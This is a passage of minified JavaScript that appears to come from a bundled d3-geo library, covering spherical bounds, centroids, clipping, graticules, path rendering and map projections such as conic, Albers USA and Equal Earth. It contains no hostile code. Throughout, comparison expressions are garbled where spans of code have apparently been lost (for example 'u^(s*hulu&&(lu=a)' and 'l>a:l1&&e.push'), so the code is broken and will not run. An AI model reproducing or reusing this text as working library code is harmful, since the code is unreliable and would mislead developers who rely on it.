a,o=t-hu,s=o>0?1:-1,c=i[0]*mc*s,u=bc(o)>180;u^(s*hulu&&(lu=a):u^(s*hu<(c=(c+360)%360-180)&&clu&&(lu=e)),u?tCu(su,uu)&&(uu=t):Cu(t,uu)>Cu(su,uu)&&(su=t):uu>=su?(tuu&&(uu=t)):t>hu?Cu(su,t)>Cu(su,uu)&&(uu=t):Cu(t,uu)>Cu(su,uu)&&(su=t)}else yu.push(gu=[su=t,uu=t]);elu&&(lu=e),pu=n,hu=t}function _u(){vu.point=xu}function ku(){gu[0]=su,gu[1]=uu,vu.point=bu,pu=null}function wu(t,e){if(pu){var n=t-hu;mu.add(bc(n)>180?n+(n>0?360:-360):n)}else fu=t,du=e;Gc.point(t,e),xu(t,e)}function Tu(){Gc.lineStart()}function Eu(){wu(fu,du),Gc.lineEnd(),bc(mu)>1e-6&&(su=-(uu=180)),gu[0]=su,gu[1]=uu,pu=null}function Cu(t,e){return(e-=t)<0?e+360:e}function Su(t,e){return t[0]-e[0]}function Au(t,e){return t[0]<=t[1]?t[0]<=e&&e<=t[1]:eCu(r[0],r[1])&&(r[1]=i[1]),Cu(i[0],r[1])>Cu(r[0],r[1])&&(r[0]=i[0])):a.push(r=i);for(o=-1/0,e=0,r=a[n=a.length-1];e<=n;r=i,++e)i=a[e],(s=Cu(r[1],i[0]))>o&&(o=s,su=i[0],uu=r[1])}return yu=gu=null,su===1/0||cu===1/0?[[NaN,NaN],[NaN,NaN]]:[[su,cu],[uu,lu]]},Hu={sphere:Lc,point:Vu,lineStart:Xu,lineEnd:Qu,polygonStart:function(){Hu.lineStart=Ju,Hu.lineEnd=tl},polygonEnd:function(){Hu.lineStart=Xu,Hu.lineEnd=Qu}};function Vu(t,e){t*=vc;var n=kc(e*=vc);Gu(n*kc(t),n*Sc(t),Sc(e))}function Gu(t,e,n){++Mu,Nu+=(t-Nu)/Mu,Bu+=(e-Bu)/Mu,Du+=(n-Du)/Mu}function Xu(){Hu.point=Zu}function Zu(t,e){t*=vc;var n=kc(e*=vc);Uu=n*kc(t),$u=n*Sc(t),qu=Sc(e),Hu.point=Ku,Gu(Uu,$u,qu)}function Ku(t,e){t*=vc;var n=kc(e*=vc),r=n*kc(t),i=n*Sc(t),a=Sc(e),o=_c(Mc((o=$u*a-qu*i)*o+(o=qu*r-Uu*a)*o+(o=Uu*i-$u*r)*o),Uu*r+$u*i+qu*a);Ou+=o,Lu+=o*(Uu+(Uu=r)),Iu+=o*($u+($u=i)),Ru+=o*(qu+(qu=a)),Gu(Uu,$u,qu)}function Qu(){Hu.point=Vu}function Ju(){Hu.point=el}function tl(){nl(Yu,zu),Hu.point=Vu}function el(t,e){Yu=t,zu=e,t*=vc,e*=vc,Hu.point=nl;var n=kc(e);Uu=n*kc(t),$u=n*Sc(t),qu=Sc(e),Gu(Uu,$u,qu)}function nl(t,e){t*=vc;var n=kc(e*=vc),r=n*kc(t),i=n*Sc(t),a=Sc(e),o=$u*a-qu*i,s=qu*r-Uu*a,c=Uu*i-$u*r,u=Mc(o*o+s*s+c*c),l=Bc(u),h=u&&-l/u;Fu+=h*o,Pu+=h*s,ju+=h*c,Ou+=l,Lu+=l*(Uu+(Uu=r)),Iu+=l*($u+($u=i)),Ru+=l*(qu+(qu=a)),Gu(Uu,$u,qu)}var rl=function(t){Mu=Ou=Nu=Bu=Du=Lu=Iu=Ru=Fu=Pu=ju=0,Wc(t,Hu);var e=Fu,n=Pu,r=ju,i=e*e+n*n+r*r;return i<1e-12&&(e=Lu,n=Iu,r=Ru,Ou<1e-6&&(e=Nu,n=Bu,r=Du),(i=e*e+n*n+r*r)<1e-12)?[NaN,NaN]:[_c(n,e)*mc,Bc(r/Mc(i))*mc]},il=function(t){return function(){return t}},al=function(t,e){function n(n,r){return n=t(n,r),e(n[0],n[1])}return t.invert&&e.invert&&(n.invert=function(n,r){return(n=e.invert(n,r))&&t.invert(n[0],n[1])}),n};function ol(t,e){return[bc(t)>dc?t+Math.round(-t/gc)*gc:t,e]}function sl(t,e,n){return(t%=gc)?e||n?al(ul(t),ll(e,n)):ul(t):e||n?ll(e,n):ol}function cl(t){return function(e,n){return[(e+=t)>dc?e-gc:e<-dc?e+gc:e,n]}}function ul(t){var e=cl(t);return e.invert=cl(-t),e}function ll(t,e){var n=kc(t),r=Sc(t),i=kc(e),a=Sc(e);function o(t,e){var o=kc(e),s=kc(t)*o,c=Sc(t)*o,u=Sc(e),l=u*n+s*r;return[_c(c*i-l*a,s*n-u*r),Bc(l*i+c*a)]}return o.invert=function(t,e){var o=kc(e),s=kc(t)*o,c=Sc(t)*o,u=Sc(e),l=u*i-c*a;return[_c(c*i+u*a,s*n+l*r),Bc(l*n-s*r)]},o}ol.invert=ol;var hl=function(t){function e(e){return(e=t(e[0]*vc,e[1]*vc))[0]*=mc,e[1]*=mc,e}return t=sl(t[0]*vc,t[1]*vc,t.length>2?t[2]*vc:0),e.invert=function(e){return(e=t.invert(e[0]*vc,e[1]*vc))[0]*=mc,e[1]*=mc,e},e};function fl(t,e,n,r,i,a){if(n){var o=kc(e),s=Sc(e),c=r*n;null==i?(i=e+r*gc,a=e-c/2):(i=dl(o,i),a=dl(o,a),(r>0?ia)&&(i+=r*gc));for(var u,l=i;r>0?l>a:l1&&e.push(e.pop().concat(e.shift()))},result:function(){var n=e;return e=[],t=null,n}}},gl=function(t,e){return bc(t[0]-e[0])<1e-6&&bc(t[1]-e[1])<1e-6};function ml(t,e,n,r){this.x=t,this.z=e,this.o=n,this.e=r,this.v=!1,this.n=this.p=null}var vl=function(t,e,n,r,i){var a,o,s=[],c=[];if(t.forEach((function(t){if(!((e=t.length-1)<=0)){var e,n,r=t[0],o=t[e];if(gl(r,o)){if(!r[2]&&!o[2]){for(i.lineStart(),a=0;a=0;--a)i.point((l=u[a])[0],l[1]);else r(f.x,f.p.x,-1,i);f=f.p}u=(f=f.o).z,d=!d}while(!f.v);i.lineEnd()}}};function bl(t){if(e=t.length){for(var e,n,r=0,i=t[0];++r=0?1:-1,E=T*w,C=E>dc,S=y*_;if(xl.add(_c(S*T*Sc(E),g*k+S*kc(E))),o+=C?w+T*gc:w,C^d>=n^b>=n){var A=ru(eu(f),eu(v));ou(A);var M=ru(a,A);ou(M);var O=(C^w>=0?-1:1)*Bc(M[2]);(r>O||r===O&&(A[0]||A[1]))&&(s+=C^w>=0?1:-1)}}return(o<-1e-6||o<1e-6&&xl<-1e-6)^1&s},wl=function(t,e,n,r){return function(i){var a,o,s,c=e(i),u=yl(),l=e(u),h=!1,f={point:d,lineStart:y,lineEnd:g,polygonStart:function(){f.point=m,f.lineStart=v,f.lineEnd=b,o=[],a=[]},polygonEnd:function(){f.point=d,f.lineStart=y,f.lineEnd=g,o=P(o);var t=kl(a,r);o.length?(h||(i.polygonStart(),h=!0),vl(o,El,t,n,i)):t&&(h||(i.polygonStart(),h=!0),i.lineStart(),n(null,null,1,i),i.lineEnd()),h&&(i.polygonEnd(),h=!1),o=a=null},sphere:function(){i.polygonStart(),i.lineStart(),n(null,null,1,i),i.lineEnd(),i.polygonEnd()}};function d(e,n){t(e,n)&&i.point(e,n)}function p(t,e){c.point(t,e)}function y(){f.point=p,c.lineStart()}function g(){f.point=d,c.lineEnd()}function m(t,e){s.push([t,e]),l.point(t,e)}function v(){l.lineStart(),s=[]}function b(){m(s[0][0],s[0][1]),l.lineEnd();var t,e,n,r,c=l.clean(),f=u.result(),d=f.length;if(s.pop(),a.push(s),s=null,d)if(1&c){if((e=(n=f[0]).length-1)>0){for(h||(i.polygonStart(),h=!0),i.lineStart(),t=0;t1&&2&c&&f.push(f.pop().concat(f.shift())),o.push(f.filter(Tl))}return f}};function Tl(t){return t.length>1}function El(t,e){return((t=t.x)[0]<0?t[1]-pc-1e-6:pc-t[1])-((e=e.x)[0]<0?e[1]-pc-1e-6:pc-e[1])}var Cl=wl((function(){return!0}),(function(t){var e,n=NaN,r=NaN,i=NaN;return{lineStart:function(){t.lineStart(),e=1},point:function(a,o){var s=a>0?dc:-dc,c=bc(a-n);bc(c-dc)<1e-6?(t.point(n,r=(r+o)/2>0?pc:-pc),t.point(i,r),t.lineEnd(),t.lineStart(),t.point(s,r),t.point(a,r),e=0):i!==s&&c>=dc&&(bc(n-i)<1e-6&&(n-=1e-6*i),bc(a-s)<1e-6&&(a-=1e-6*s),r=function(t,e,n,r){var i,a,o=Sc(t-n);return bc(o)>1e-6?xc((Sc(e)*(a=kc(r))*Sc(n)-Sc(r)*(i=kc(e))*Sc(t))/(i*a*o)):(e+r)/2}(n,r,a,o),t.point(i,r),t.lineEnd(),t.lineStart(),t.point(s,r),e=0),t.point(n=a,r=o),i=s},lineEnd:function(){t.lineEnd(),n=r=NaN},clean:function(){return 2-e}}}),(function(t,e,n,r){var i;if(null==t)i=n*pc,r.point(-dc,i),r.point(0,i),r.point(dc,i),r.point(dc,0),r.point(dc,-i),r.point(0,-i),r.point(-dc,-i),r.point(-dc,0),r.point(-dc,i);else if(bc(t[0]-e[0])>1e-6){var a=t[0]0,i=bc(e)>1e-6;function a(t,n){return kc(t)*kc(n)>e}function o(t,n,r){var i=[1,0,0],a=ru(eu(t),eu(n)),o=nu(a,a),s=a[0],c=o-s*s;if(!c)return!r&&t;var u=e*o/c,l=-e*s/c,h=ru(i,a),f=au(i,u);iu(f,au(a,l));var d=h,p=nu(f,d),y=nu(d,d),g=p*p-y*(nu(f,f)-1);if(!(g<0)){var m=Mc(g),v=au(d,(-p-m)/y);if(iu(v,f),v=tu(v),!r)return v;var b,x=t[0],_=n[0],k=t[1],w=n[1];_0^v[1]<(bc(v[0]-x)<1e-6?k:w):k<=v[1]&&v[1]<=w:T>dc^(x<=v[0]&&v[0]<=_)){var C=au(d,(-p+m)/y);return iu(C,f),[v,tu(C)]}}}function s(e,n){var i=r?t:dc-t,a=0;return e<-i?a|=1:e>i&&(a|=2),n<-i?a|=4:n>i&&(a|=8),a}return wl(a,(function(t){var e,n,c,u,l;return{lineStart:function(){u=c=!1,l=1},point:function(h,f){var d,p=[h,f],y=a(h,f),g=r?y?0:s(h,f):y?s(h+(h<0?dc:-dc),f):0;if(!e&&(u=c=y)&&t.lineStart(),y!==c&&(!(d=o(e,p))||gl(e,d)||gl(p,d))&&(p[2]=1),y!==c)l=0,y?(t.lineStart(),d=o(p,e),t.point(d[0],d[1])):(d=o(e,p),t.point(d[0],d[1],2),t.lineEnd()),e=d;else if(i&&e&&r^y){var m;g&n||!(m=o(p,e,!0))||(l=0,r?(t.lineStart(),t.point(m[0][0],m[0][1]),t.point(m[1][0],m[1][1]),t.lineEnd()):(t.point(m[1][0],m[1][1]),t.lineEnd(),t.lineStart(),t.point(m[0][0],m[0][1],3)))}!y||e&&gl(e,p)||t.point(p[0],p[1]),e=p,c=y,n=g},lineEnd:function(){c&&t.lineEnd(),e=null},clean:function(){return l|(u&&c)<<1}}}),(function(e,r,i,a){fl(a,t,n,i,e,r)}),r?[0,-t]:[-dc,t-dc])};function Al(t,e,n,r){function i(i,a){return t<=i&&i<=n&&e<=a&&a<=r}function a(i,a,s,u){var l=0,h=0;if(null==i||(l=o(i,s))!==(h=o(a,s))||c(i,a)<0^s>0)do{u.point(0===l||3===l?t:n,l>1?r:e)}while((l=(l+s+4)%4)!==h);else u.point(a[0],a[1])}function o(r,i){return bc(r[0]-t)<1e-6?i>0?0:3:bc(r[0]-n)<1e-6?i>0?2:1:bc(r[1]-e)<1e-6?i>0?1:0:i>0?3:2}function s(t,e){return c(t.x,e.x)}function c(t,e){var n=o(t,1),r=o(e,1);return n!==r?n-r:0===n?e[1]-t[1]:1===n?t[0]-e[0]:2===n?t[1]-e[1]:e[0]-t[0]}return function(o){var c,u,l,h,f,d,p,y,g,m,v,b=o,x=yl(),_={point:k,lineStart:function(){_.point=w,u&&u.push(l=[]);m=!0,g=!1,p=y=NaN},lineEnd:function(){c&&(w(h,f),d&&g&&x.rejoin(),c.push(x.result()));_.point=k,g&&b.lineEnd()},polygonStart:function(){b=x,c=[],u=[],v=!0},polygonEnd:function(){var e=function(){for(var e=0,n=0,i=u.length;nr&&(f-a)*(r-o)>(d-o)*(t-a)&&++e:d<=r&&(f-a)*(r-o)<(d-o)*(t-a)&&--e;return e}(),n=v&&e,i=(c=P(c)).length;(n||i)&&(o.polygonStart(),n&&(o.lineStart(),a(null,null,1,o),o.lineEnd()),i&&vl(c,s,e,a,o),o.polygonEnd());b=o,c=u=l=null}};function k(t,e){i(t,e)&&b.point(t,e)}function w(a,o){var s=i(a,o);if(u&&l.push([a,o]),m)h=a,f=o,d=s,m=!1,s&&(b.lineStart(),b.point(a,o));else if(s&&g)b.point(a,o);else{var c=[p=Math.max(-1e9,Math.min(1e9,p)),y=Math.max(-1e9,Math.min(1e9,y))],x=[a=Math.max(-1e9,Math.min(1e9,a)),o=Math.max(-1e9,Math.min(1e9,o))];!function(t,e,n,r,i,a){var o,s=t[0],c=t[1],u=0,l=1,h=e[0]-s,f=e[1]-c;if(o=n-s,h||!(o>0)){if(o/=h,h<0){if(o0){if(o>l)return;o>u&&(u=o)}if(o=i-s,h||!(o<0)){if(o/=h,h<0){if(o>l)return;o>u&&(u=o)}else if(h>0){if(o0)){if(o/=f,f<0){if(o0){if(o>l)return;o>u&&(u=o)}if(o=a-c,f||!(o<0)){if(o/=f,f<0){if(o>l)return;o>u&&(u=o)}else if(f>0){if(o0&&(t[0]=s+u*h,t[1]=c+u*f),l<1&&(e[0]=s+l*h,e[1]=c+l*f),!0}}}}}(c,x,t,e,n,r)?s&&(b.lineStart(),b.point(a,o),v=!1):(g||(b.lineStart(),b.point(c[0],c[1])),b.point(x[0],x[1]),s||b.lineEnd(),v=!1)}p=a,y=o,g=s}return _}}var Ml,Ol,Nl,Bl=function(){var t,e,n,r=0,i=0,a=960,o=500;return n={stream:function(n){return t&&e===n?t:t=Al(r,i,a,o)(e=n)},extent:function(s){return arguments.length?(r=+s[0][0],i=+s[0][1],a=+s[1][0],o=+s[1][1],t=e=null,n):[[r,i],[a,o]]}}},Dl=uc(),Ll={sphere:Lc,point:Lc,lineStart:function(){Ll.point=Rl,Ll.lineEnd=Il},lineEnd:Lc,polygonStart:Lc,polygonEnd:Lc};function Il(){Ll.point=Ll.lineEnd=Lc}function Rl(t,e){Ml=t*=vc,Ol=Sc(e*=vc),Nl=kc(e),Ll.point=Fl}function Fl(t,e){t*=vc;var n=Sc(e*=vc),r=kc(e),i=bc(t-Ml),a=kc(i),o=r*Sc(i),s=Nl*n-Ol*r*a,c=Ol*n+Nl*r*a;Dl.add(_c(Mc(o*o+s*s),c)),Ml=t,Ol=n,Nl=r}var Pl=function(t){return Dl.reset(),Wc(t,Ll),+Dl},jl=[null,null],Yl={type:"LineString",coordinates:jl},zl=function(t,e){return jl[0]=t,jl[1]=e,Pl(Yl)},Ul={Feature:function(t,e){return ql(t.geometry,e)},FeatureCollection:function(t,e){for(var n=t.features,r=-1,i=n.length;++r0&&(i=zl(t[a],t[a-1]))>0&&n<=i&&r<=i&&(n+r-i)*(1-Math.pow((n-r)/i,2))<1e-12*i)return!0;n=r}return!1}function Vl(t,e){return!!kl(t.map(Gl),Xl(e))}function Gl(t){return(t=t.map(Xl)).pop(),t}function Xl(t){return[t[0]*vc,t[1]*vc]}var Zl=function(t,e){return(t&&Ul.hasOwnProperty(t.type)?Ul[t.type]:ql)(t,e)};function Kl(t,e,n){var r=w(t,e-1e-6,n).concat(e);return function(t){return r.map((function(e){return[t,e]}))}}function Ql(t,e,n){var r=w(t,e-1e-6,n).concat(e);return function(t){return r.map((function(e){return[e,t]}))}}function Jl(){var t,e,n,r,i,a,o,s,c,u,l,h,f=10,d=f,p=90,y=360,g=2.5;function m(){return{type:"MultiLineString",coordinates:v()}}function v(){return w(wc(r/p)*p,n,p).map(l).concat(w(wc(s/y)*y,o,y).map(h)).concat(w(wc(e/f)*f,t,f).filter((function(t){return bc(t%p)>1e-6})).map(c)).concat(w(wc(a/d)*d,i,d).filter((function(t){return bc(t%y)>1e-6})).map(u))}return m.lines=function(){return v().map((function(t){return{type:"LineString",coordinates:t}}))},m.outline=function(){return{type:"Polygon",coordinates:[l(r).concat(h(o).slice(1),l(n).reverse().slice(1),h(s).reverse().slice(1))]}},m.extent=function(t){return arguments.length?m.extentMajor(t).extentMinor(t):m.extentMinor()},m.extentMajor=function(t){return arguments.length?(r=+t[0][0],n=+t[1][0],s=+t[0][1],o=+t[1][1],r>n&&(t=r,r=n,n=t),s>o&&(t=s,s=o,o=t),m.precision(g)):[[r,s],[n,o]]},m.extentMinor=function(n){return arguments.length?(e=+n[0][0],t=+n[1][0],a=+n[0][1],i=+n[1][1],e>t&&(n=e,e=t,t=n),a>i&&(n=a,a=i,i=n),m.precision(g)):[[e,a],[t,i]]},m.step=function(t){return arguments.length?m.stepMajor(t).stepMinor(t):m.stepMinor()},m.stepMajor=function(t){return arguments.length?(p=+t[0],y=+t[1],m):[p,y]},m.stepMinor=function(t){return arguments.length?(f=+t[0],d=+t[1],m):[f,d]},m.precision=function(f){return arguments.length?(g=+f,c=Kl(a,i,90),u=Ql(e,t,g),l=Kl(s,o,90),h=Ql(r,n,g),m):g},m.extentMajor([[-180,-89.999999],[180,89.999999]]).extentMinor([[-180,-80.000001],[180,80.000001]])}function th(){return Jl()()}var eh,nh,rh,ih,ah=function(t,e){var n=t[0]*vc,r=t[1]*vc,i=e[0]*vc,a=e[1]*vc,o=kc(r),s=Sc(r),c=kc(a),u=Sc(a),l=o*kc(n),h=o*Sc(n),f=c*kc(i),d=c*Sc(i),p=2*Bc(Mc(Dc(a-r)+o*c*Dc(i-n))),y=Sc(p),g=p?function(t){var e=Sc(t*=p)/y,n=Sc(p-t)/y,r=n*l+e*f,i=n*h+e*d,a=n*s+e*u;return[_c(i,r)*mc,_c(a,Mc(r*r+i*i))*mc]}:function(){return[n*mc,r*mc]};return g.distance=p,g},oh=function(t){return t},sh=uc(),ch=uc(),uh={point:Lc,lineStart:Lc,lineEnd:Lc,polygonStart:function(){uh.lineStart=lh,uh.lineEnd=dh},polygonEnd:function(){uh.lineStart=uh.lineEnd=uh.point=Lc,sh.add(bc(ch)),ch.reset()},result:function(){var t=sh/2;return sh.reset(),t}};function lh(){uh.point=hh}function hh(t,e){uh.point=fh,eh=rh=t,nh=ih=e}function fh(t,e){ch.add(ih*t-rh*e),rh=t,ih=e}function dh(){fh(eh,nh)}var ph=uh,yh=1/0,gh=yh,mh=-yh,vh=mh;var bh,xh,_h,kh,wh={point:function(t,e){tmh&&(mh=t);evh&&(vh=e)},lineStart:Lc,lineEnd:Lc,polygonStart:Lc,polygonEnd:Lc,result:function(){var t=[[yh,gh],[mh,vh]];return mh=vh=-(gh=yh=1/0),t}},Th=0,Eh=0,Ch=0,Sh=0,Ah=0,Mh=0,Oh=0,Nh=0,Bh=0,Dh={point:Lh,lineStart:Ih,lineEnd:Ph,polygonStart:function(){Dh.lineStart=jh,Dh.lineEnd=Yh},polygonEnd:function(){Dh.point=Lh,Dh.lineStart=Ih,Dh.lineEnd=Ph},result:function(){var t=Bh?[Oh/Bh,Nh/Bh]:Mh?[Sh/Mh,Ah/Mh]:Ch?[Th/Ch,Eh/Ch]:[NaN,NaN];return Th=Eh=Ch=Sh=Ah=Mh=Oh=Nh=Bh=0,t}};function Lh(t,e){Th+=t,Eh+=e,++Ch}function Ih(){Dh.point=Rh}function Rh(t,e){Dh.point=Fh,Lh(_h=t,kh=e)}function Fh(t,e){var n=t-_h,r=e-kh,i=Mc(n*n+r*r);Sh+=i*(_h+t)/2,Ah+=i*(kh+e)/2,Mh+=i,Lh(_h=t,kh=e)}function Ph(){Dh.point=Lh}function jh(){Dh.point=zh}function Yh(){Uh(bh,xh)}function zh(t,e){Dh.point=Uh,Lh(bh=_h=t,xh=kh=e)}function Uh(t,e){var n=t-_h,r=e-kh,i=Mc(n*n+r*r);Sh+=i*(_h+t)/2,Ah+=i*(kh+e)/2,Mh+=i,Oh+=(i=kh*t-_h*e)*(_h+t),Nh+=i*(kh+e),Bh+=3*i,Lh(_h=t,kh=e)}var $h=Dh;function qh(t){this._context=t}qh.prototype={_radius:4.5,pointRadius:function(t){return this._radius=t,this},polygonStart:function(){this._line=0},polygonEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){0===this._line&&this._context.closePath(),this._point=NaN},point:function(t,e){switch(this._point){case 0:this._context.moveTo(t,e),this._point=1;break;case 1:this._context.lineTo(t,e);break;default:this._context.moveTo(t+this._radius,e),this._context.arc(t,e,this._radius,0,gc)}},result:Lc};var Wh,Hh,Vh,Gh,Xh,Zh=uc(),Kh={point:Lc,lineStart:function(){Kh.point=Qh},lineEnd:function(){Wh&&Jh(Hh,Vh),Kh.point=Lc},polygonStart:function(){Wh=!0},polygonEnd:function(){Wh=null},result:function(){var t=+Zh;return Zh.reset(),t}};function Qh(t,e){Kh.point=Jh,Hh=Gh=t,Vh=Xh=e}function Jh(t,e){Gh-=t,Xh-=e,Zh.add(Mc(Gh*Gh+Xh*Xh)),Gh=t,Xh=e}var tf=Kh;function ef(){this._string=[]}function nf(t){return"m0,"+t+"a"+t+","+t+" 0 1,1 0,"+-2*t+"a"+t+","+t+" 0 1,1 0,"+2*t+"z"}ef.prototype={_radius:4.5,_circle:nf(4.5),pointRadius:function(t){return(t=+t)!==this._radius&&(this._radius=t,this._circle=null),this},polygonStart:function(){this._line=0},polygonEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){0===this._line&&this._string.push("Z"),this._point=NaN},point:function(t,e){switch(this._point){case 0:this._string.push("M",t,",",e),this._point=1;break;case 1:this._string.push("L",t,",",e);break;default:null==this._circle&&(this._circle=nf(this._radius)),this._string.push("M",t,",",e,this._circle)}},result:function(){if(this._string.length){var t=this._string.join("");return this._string=[],t}return null}};var rf=function(t,e){var n,r,i=4.5;function a(t){return t&&("function"==typeof i&&r.pointRadius(+i.apply(this,arguments)),Wc(t,n(r))),r.result()}return a.area=function(t){return Wc(t,n(ph)),ph.result()},a.measure=function(t){return Wc(t,n(tf)),tf.result()},a.bounds=function(t){return Wc(t,n(wh)),wh.result()},a.centroid=function(t){return Wc(t,n($h)),$h.result()},a.projection=function(e){return arguments.length?(n=null==e?(t=null,oh):(t=e).stream,a):t},a.context=function(t){return arguments.length?(r=null==t?(e=null,new ef):new qh(e=t),"function"!=typeof i&&r.pointRadius(i),a):e},a.pointRadius=function(t){return arguments.length?(i="function"==typeof t?t:(r.pointRadius(+t),+t),a):i},a.projection(t).context(e)},af=function(t){return{stream:of(t)}};function of(t){return function(e){var n=new sf;for(var r in t)n[r]=t[r];return n.stream=e,n}}function sf(){}function cf(t,e,n){var r=t.clipExtent&&t.clipExtent();return t.scale(150).translate([0,0]),null!=r&&t.clipExtent(null),Wc(n,t.stream(wh)),e(wh.result()),null!=r&&t.clipExtent(r),t}function uf(t,e,n){return cf(t,(function(n){var r=e[1][0]-e[0][0],i=e[1][1]-e[0][1],a=Math.min(r/(n[1][0]-n[0][0]),i/(n[1][1]-n[0][1])),o=+e[0][0]+(r-a*(n[1][0]+n[0][0]))/2,s=+e[0][1]+(i-a*(n[1][1]+n[0][1]))/2;t.scale(150*a).translate([o,s])}),n)}function lf(t,e,n){return uf(t,[[0,0],e],n)}function hf(t,e,n){return cf(t,(function(n){var r=+e,i=r/(n[1][0]-n[0][0]),a=(r-i*(n[1][0]+n[0][0]))/2,o=-i*n[0][1];t.scale(150*i).translate([a,o])}),n)}function ff(t,e,n){return cf(t,(function(n){var r=+e,i=r/(n[1][1]-n[0][1]),a=-i*n[0][0],o=(r-i*(n[1][1]+n[0][1]))/2;t.scale(150*i).translate([a,o])}),n)}sf.prototype={constructor:sf,point:function(t,e){this.stream.point(t,e)},sphere:function(){this.stream.sphere()},lineStart:function(){this.stream.lineStart()},lineEnd:function(){this.stream.lineEnd()},polygonStart:function(){this.stream.polygonStart()},polygonEnd:function(){this.stream.polygonEnd()}};var df=kc(30*vc),pf=function(t,e){return+e?function(t,e){function n(r,i,a,o,s,c,u,l,h,f,d,p,y,g){var m=u-r,v=l-i,b=m*m+v*v;if(b>4*e&&y--){var x=o+f,_=s+d,k=c+p,w=Mc(x*x+_*_+k*k),T=Bc(k/=w),E=bc(bc(k)-1)<1e-6||bc(a-h)<1e-6?(a+h)/2:_c(_,x),C=t(E,T),S=C[0],A=C[1],M=S-r,O=A-i,N=v*M-m*O;(N*N/b>e||bc((m*M+v*O)/b-.5)>.3||o*f+s*d+c*p2?t[2]%360*vc:0,M()):[g*mc,m*mc,v*mc]},S.angle=function(t){return arguments.length?(b=t%360*vc,M()):b*mc},S.reflectX=function(t){return arguments.length?(x=t?-1:1,M()):x<0},S.reflectY=function(t){return arguments.length?(_=t?-1:1,M()):_<0},S.precision=function(t){return arguments.length?(o=pf(s,C=t*t),O()):Mc(C)},S.fitExtent=function(t,e){return uf(S,t,e)},S.fitSize=function(t,e){return lf(S,t,e)},S.fitWidth=function(t,e){return hf(S,t,e)},S.fitHeight=function(t,e){return ff(S,t,e)},function(){return e=t.apply(this,arguments),S.invert=e.invert&&A,M()}}function xf(t){var e=0,n=dc/3,r=bf(t),i=r(e,n);return i.parallels=function(t){return arguments.length?r(e=t[0]*vc,n=t[1]*vc):[e*mc,n*mc]},i}function _f(t,e){var n=Sc(t),r=(n+Sc(e))/2;if(bc(r)<1e-6)return function(t){var e=kc(t);function n(t,n){return[t*e,Sc(n)/e]}return n.invert=function(t,n){return[t/e,Bc(n*e)]},n}(t);var i=1+n*(2*r-n),a=Mc(i)/r;function o(t,e){var n=Mc(i-2*r*Sc(e))/r;return[n*Sc(t*=r),a-n*kc(t)]}return o.invert=function(t,e){var n=a-e,o=_c(t,bc(n))*Ac(n);return n*r<0&&(o-=dc*Ac(t)*Ac(n)),[o/r,Bc((i-(t*t+n*n)*r*r)/(2*r))]},o}var kf=function(){return xf(_f).scale(155.424).center([0,33.6442])},wf=function(){return kf().parallels([29.5,45.5]).scale(1070).translate([480,250]).rotate([96,0]).center([-.6,38.7])};var Tf=function(){var t,e,n,r,i,a,o=wf(),s=kf().rotate([154,0]).center([-2,58.5]).parallels([55,65]),c=kf().rotate([157,0]).center([-3,19.9]).parallels([8,18]),u={point:function(t,e){a=[t,e]}};function l(t){var e=t[0],o=t[1];return a=null,n.point(e,o),a||(r.point(e,o),a)||(i.point(e,o),a)}function h(){return t=e=null,l}return l.invert=function(t){var e=o.scale(),n=o.translate(),r=(t[0]-n[0])/e,i=(t[1]-n[1])/e;return(i>=.12&&i<.234&&r>=-.425&&r<-.214?s:i>=.166&&i<.234&&r>=-.214&&r<-.115?c:o).invert(t)},l.stream=function(n){return t&&e===n?t:(r=[o.stream(e=n),s.stream(n),c.stream(n)],i=r.length,t={point:function(t,e){for(var n=-1;++n0?e<1e-6-pc&&(e=1e-6-pc):e>pc-1e-6&&(e=pc-1e-6);var n=i/Cc(Lf(e),r);return[n*Sc(r*t),i-n*kc(r*t)]}return a.invert=function(t,e){var n=i-e,a=Ac(r)*Mc(t*t+n*n),o=_c(t,bc(n))*Ac(n);return n*r<0&&(o-=dc*Ac(t)*Ac(n)),[o/r,2*xc(Cc(i/a,1/r))-pc]},a}var Rf=function(){return xf(If).scale(109.5).parallels([30,30])};function Ff(t,e){return[t,e]}Ff.invert=Ff;var Pf=function(){return vf(Ff).scale(152.63)};function jf(t,e){var n=kc(t),r=t===e?Sc(t):(n-kc(e))/(e-t),i=n/r+t;if(bc(r)<1e-6)return Ff;function a(t,e){var n=i-e,a=r*t;return[n*Sc(a),i-n*kc(a)]}return a.invert=function(t,e){var n=i-e,a=_c(t,bc(n))*Ac(n);return n*r<0&&(a-=dc*Ac(t)*Ac(n)),[a/r,i-Ac(r)*Mc(t*t+n*n)]},a}var Yf=function(){return xf(jf).scale(131.154).center([0,13.9389])},zf=1.340264,Uf=-.081106,$f=893e-6,qf=.003796,Wf=Mc(3)/2;function Hf(t,e){var n=Bc(Wf*Sc(e)),r=n*n,i=r*r*r;return[t*kc(n)/(Wf*(zf+3*Uf*r+i*(7*$f+9*qf*r))),n*(zf+Uf*r+i*($f+qf*r))]}Hf.invert=function(t,e){for(var n,r=e,i=r*r,a=i*i*i,o=0;o<12&&(a=(i=(r-=n=(r*(zf+Uf*i+a*($f+qf*i))-e)/(zf+3*Uf*i+a*(7*$f+9*qf*i)))*r)*i*i,!(bc(n)<1e-12));++o);return[Wf*t*(zf+3*Uf*i+a*(7*$f+9*qf*i))/kc(r),Bc(Sc(r)/Wf)]};var Vf=function(){return vf(Hf).scale(177.158)};function Gf(t,e){var n=kc(e),r=kc(t)*n;return[n*Sc(t)/r,Sc(e)/r]}Gf.invert=Cf(xc);var Xf=function(){return vf(Gf).scale(144.049).clipAngle(60)},Zf=function(){var t,e,n,r,i,a,o,s=1,c=0,u=0,l=1,h=1,f=0,d=null,p=1,y=1,g=of({point:function(t,e){var n=b([t,e]);this.stream.point(n[0],n[1])}}),m=oh;function v(){return p=s*l,y=s*h,a=o=null,b}function b(n){var r=n[0]*p,i=n[1]*y;if(f){var a=i*t-r*e;r=r*t+i*e,i=a}return[r+c,i+u]}return b.invert=function(n){var r=n[0]-c,i=n[1]-u;if(f){var a=i*t+r*e;r=r*t-i*e,i=a}return[r/p,i/y]},b.stream=function(t){return a&&o===t?a:a=g(m(o=t))},b.postclip=function(t){return arguments.length?(m=t,d=n=r=i=null,v()):m},b.clipExtent=function(t){return arguments.length?(m=null==t?(d=n=r=i=null,oh):Al(d=+t[0][0],n=+t[0][1],r=+t[1][0],i=+t[1][1]),v()):null==d?null:[[d,n],[r,i]]},b.scale=function(t){return arguments.length?(s=+t,v()):s},b.translate=function(t){return 